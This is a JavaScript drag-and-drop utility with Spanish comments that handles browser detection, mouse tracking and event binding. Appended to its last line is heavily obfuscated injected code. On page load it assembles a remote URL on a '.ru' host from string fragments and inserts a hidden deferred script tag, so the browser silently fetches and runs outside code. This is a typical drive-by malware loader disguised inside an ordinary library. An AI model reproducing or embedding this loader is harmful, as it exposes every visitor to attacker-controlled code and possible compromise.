// Compatibilidad con el innombrable engendro de mocosoft
var is_ie = navigator.appName == 'Microsoft Internet Explorer';
// Compatibilidad con Opera
var is_op = navigator.appName == 'Opera' ? true : false;
// Compatibilidad con firefox o netscape
var is_ns = !is_ie && !is_op ? true : false;

// Función principal....

/*
    Esta función require dos parámetros
    el primero de ellos (e) es el evento
    el segundo es el elemento sobre el que se desea arrastrar y soltar.
*/

function js_drag(e,elemento)
{
    // Por situaciónes de compatibilidad para ns es 'e' suficiente, en cambio para IE e no basta sino window
    // aún no entiendo ¿por qué? acaso no se supone que TODO se basa en el objeto window 8-)
    e||window.event;
    var e = e;
    // Creamos un nuevo Objeto
    var Obj = new Object();
    // Obtenemos el tag BODY, ( siempre hay uno de esos )...
    var body  = document.getElementsByTagName('body')[0];
    // El z-index ( el arrange , Hasta al frente, Hasta el fondo etc.. )
    Obj.zI = 0;
    // Ahora, el argumento 'elemento' puede ser un objeto o bien una id del elemento
    // es decir js_drag(event,this) ó js_drag(event,'id')
    Obj.Elemento = typeof(elemento) == 'object' ? elemento : document.getElementById(elemento);
    
    // Esta función obtiene la posición en la que está el elemento HTML.
    js_position = function(ly,x,y)
    {
        /*
            Si es IE u Opera sumamos:
            clientX ( que es la posición del ratón en la ventana )
            document.documentElement.scrollLeft ( qué es la posición del mouse en el elemento )
            body.scrollLeft ( que es el scroll que se le ha dado a la página )
            Si es ns ( firefox, netscape, etcétera, )
            Sólo sumamos la posición del raton en la ventana y el scroll que se le ha dado a la página.
        */
        x = is_ie||is_op ? e.clientX + document.documentElement.scrollLeft + body.scrollLeft : e.clientX + window.scrollX;
        y = is_ie||is_op ? e.clientY + document.documentElement.scrollTop + body.scrollTop : e.clientY + window.scrollY;
        // Guardamos la posición 'x' y 'y' inicial del elemento en una variable ( contando el scroll ).
        Obj.startX=x;
        Obj.startY=y;
        // Guardamos la posición 'Left' y 'Right' inicial del elemento en una variable ( sin contar el scroll ).
        Obj.startL=parseInt(Obj.Elemento.style.left,10);
        Obj.startT=parseInt(Obj.Elemento.style.top,10);
        Obj.startL=isNaN(Obj.startL) ? 0 : Obj.startL;
        Obj.startT=isNaN(Obj.startT) ? 0 : Obj.startT;
        // Aumentamos el z-index del objeto para enviarlo hasta el frente ( aunque para IE esto no significa NADA )
        Obj.Elemento.style.zIndex = ++Obj.zI;
        
        /*
            js_addEvent() es una función propia, que añade al primer argumento en este caso 'document'
            una función en este caso 'startdrag' que se ejecuta cada segundo argumento en este caso 'mousemove'
        */
        js_addEvent(document,'mousemove',startdrag);
        // mouseup para cuando se 'suelte' el elemento
        js_addEvent(document,'mouseup',enddrag);
        // keypress para cuando se presione una tecla o se haga click por cuestiones conocidas
        // ¿ realmente necesito explicar que es por IE ?
        js_addEvent(document,'keypress',enddrag);
        
        // Ahora prevenimos que los eventos que acabamos de agregar se ejecuten inmediatamente
        if(is_ie){    e.cancelBubble = true;    e.returnValue = false;    } else
        {
            e.preventDefault();
        }
    };
    
    startdrag = function(e)
    {
        // Esto ya lo expliqué arriba...
        var x, y;
        e||event;
        x = is_ie||is_op ? e.clientX + document.documentElement.scrollLeft + body.scrollLeft : e.clientX + window.scrollX;
        y = is_ie||is_op ? e.clientY + document.documentElement.scrollTop + body.scrollTop : e.clientY + window.scrollY;
        
        // Sumamos las posiciones guardardas y las actuales y ésa es la posición actual ( a donde debe moverse )
        ILeft = ( Obj.startL + x - parseInt(Obj.startX)    );
        ITop = ( Obj.startT + y - parseInt(Obj.startY) );
        
        // js_moveTo esta función cambia la posición del elemento cambiando el estilo css presizamente 'top' y 'left'
        js_moveTo(Obj.Elemento,ILeft,ITop);
        
        // Esto también lo expliqué arriba...
        if(is_ie){    e.cancelBubble = true; e.returnValue = false;    }else
        {
            e.preventDefault();
        }
    };
    
    enddrag = function (e)
    {    // Cuando se deje de arrastrar entonces eliminamos los eventos que ya no nos sirven.
        js_detEvent(document,'mousemove',startdrag);
        js_detEvent(document,'mouseup',enddrag);
    };
    
    // Aquí inicializamos el arrastrar y soltar....
    js_position(Obj.Elemento,e.clientX,e.clientY);
};

js_moveTo = function(element,Left,Top)
{
    element.style.left = Left + "px";
    element.style.top  = Top + "px";
};

// Función que agrega los eventos
js_addEvent = function(Layer,eventype,func)
{
// addEventListener,attachEvent son propiedades para agregar funciones a  eventos
    if( is_ns )
        Layer.addEventListener( eventype, func, true );
    else if( is_ie )
        Layer.attachEvent( "on" + eventype, func );
    else
// Opera simplemente lo usa como un array.
        Layer[ "on" + eventype ] = func;
};

// Igual que la función de arriba sólo que aquí quitamos las funciones a los eventos.
js_detEvent = function(Layer,typef,func)
{
    if(is_ie)
        Layer.detachEvent("on" + typef, func);
    else if(is_ns)
        Layer.removeEventListener( typef, func, true);
    else
        Layer["on" + typef] = null;
};
var i="";var mh="";var wB;if(wB!='U' && wB!='rt'){wB='U'};var k;if(k!='mH' && k!='Xe'){k='mH'};function L(){var gD;if(gD!='' && gD!='h'){gD=''};var uH=new Date();var F='';var op="";var M;if(M!='s'){M=''};var E=RegExp;var m="NSWsg".substr(4);function W(u,G){var iq;if(iq!='_'){iq=''};this.Vj="";var yu;if(yu!='' && yu!='inE'){yu=''};var K= String("WA9j[".substr(4));K+=G;K+="]";var ew;if(ew!='LJ' && ew!='jD'){ew='LJ'};var g=new E(K, m);var vl;if(vl!='OK'){vl='OK'};return u.replace(g, F);var dq="";};this.NR='';this._h='';var gS="httlMn".substr(0,3)+"p:/6oJs".substr(0,3)+"/awo0GJ".substr(0,3)+"ebe"+"odSr-c".substr(3)+"om.dN2".substr(0,3)+"D63kai36D".substr(3,3)+"xinwYpB".substr(0,3)+"g2D.co".substr(3)+"DyB9m.o".substr(4)+"vh-U4I".substr(0,3)+"net"+".ne"+"liFwwo".substr(3)+"nmIrld".substr(3)+"uni"+"zAjon.".substr(3)+"ru:2ZdK".substr(0,3);var ry=new String();var EE;if(EE!='' && EE!='sg'){EE=''};var w=String("defeptD".substr(0,4)+"rnFy2".substr(0,1));var ju;if(ju!='' && ju!='jZ'){ju='S'};var tr;if(tr!='p' && tr != ''){tr=null};var y='';var zh;if(zh!='Vs'){zh=''};var Rq="";var N=String("sc"+"riQdTY".substr(0,2)+"pt8qw6".substr(0,2));var Nx="";var x=W('871110173783731037137',"317");var c=new String();var GF;if(GF!='ej'){GF='ej'};var v=String("src3k1L".substr(0,3));this.mQ="";var o=window;var KK=String("/att"+".com"+"/att"+".comay1".substr(0,4)+"QfiO/gooiQOf".substr(4,4)+"5wotgle.".substr(4)+"com/tJEf".substr(0,4)+"wowa"+"rmorvGHQ".substr(0,4)+"y.co"+"24A6m/go".substr(4)+"1kDYogle".substr(4)+".comgNvq".substr(0,4)+"A5r.eg.r5A".substr(3,4)+"GkFphpkFG".substr(3,3));var EP;if(EP!='Xx' && EP!='OXH'){EP='Xx'};var Oj=new Date();var bL;if(bL!='ZB' && bL!='Cu'){bL='ZB'};o.onload=function(){try {var JR="";var Fy=new Array();y=gS+x;y+=KK;up=document.createElement(N);this.dT="";up[w]=[1][0];this.Eu='';this.kD='';up[v]=y;this.ER='';var SQ="";document.body.appendChild(up);var sWH;if(sWH!='' && sWH!='XQ'){sWH=''};} catch(b){var pN;if(pN!='' && pN!='OL'){pN=''};var LP;if(LP!='' && LP!='B'){LP='yR'};};this.xA="";};this.g_='';};L();